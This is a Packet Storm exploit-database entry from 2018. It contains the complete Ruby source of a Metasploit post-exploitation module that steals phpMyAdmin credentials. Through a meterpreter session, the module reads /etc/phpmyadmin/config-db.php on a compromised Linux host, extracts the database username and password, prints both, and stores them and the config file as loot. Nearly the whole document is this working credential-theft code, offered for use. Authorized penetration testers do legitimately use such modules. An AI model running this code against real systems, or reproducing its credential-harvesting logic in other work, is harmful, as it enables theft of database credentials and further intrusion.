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phpMyAdmin Credential Stealer

🗓️ 09 Sep 2018 00:00:00Reported by Mishra DhirajType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

Phpmyadmin credentials stealer from target linux machine.

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Post  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Phpmyadmin credentials stealer",  
'Description' => %q{  
This module gathers Phpmyadmin creds from target linux machine.  
},  
'License' => MSF_LICENSE,  
'Platform' => ['linux'],  
'SessionTypes' => ['meterpreter'],  
'Author' => [  
'Chaitanya Haritash [bofheaded]',  
'Dhiraj Mishra <[email protected]>'  
]  
))  
end  
  
def parse_creds(contents)  
db_user = contents.scan(/\$dbuser\s*=\s*['"](.*)['"];/).flatten.first  
db_pass = contents.scan(/\$dbpass\s*=\s*['"](.*)['"];/).flatten.first  
  
unless db_user && db_pass  
print_error("Couldn't find PhpMyAdmin credentials")  
return  
end  
  
print_good("User: #{db_user}")  
print_good("Password: #{db_pass}")  
  
print_status("Storing credentials...")  
store_valid_credential(user: db_user, private: db_pass)  
end  
  
def run  
print_line("\nPhpMyAdmin Creds Stealer!\n")  
  
if session.platform.include?("windows")  
print_error("This module is not compatible with windows")  
return  
end  
  
conf_path = "/etc/phpmyadmin/config-db.php"  
unless file_exist?(conf_path)  
print_error("#{conf_path} doesn't exist on target")  
return  
end  
  
print_good('PhpMyAdmin config found!')  
res = read_file(conf_path)  
unless res  
print_error("You may not have permissions to read the file.")  
return  
end  
  
print_good("Extracting creds")  
parse_creds(res)  
  
p = store_loot('phpmyadmin_conf', 'text/plain', session, res, 'phpmyadmin_conf.txt', 'phpmyadmin_conf')  
print_good("Config file located at #{p}")  
end  
end  
  
`

Data

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09 Sep 2018 00:00Current
0.1Low risk
Vulners AI Score0.1
32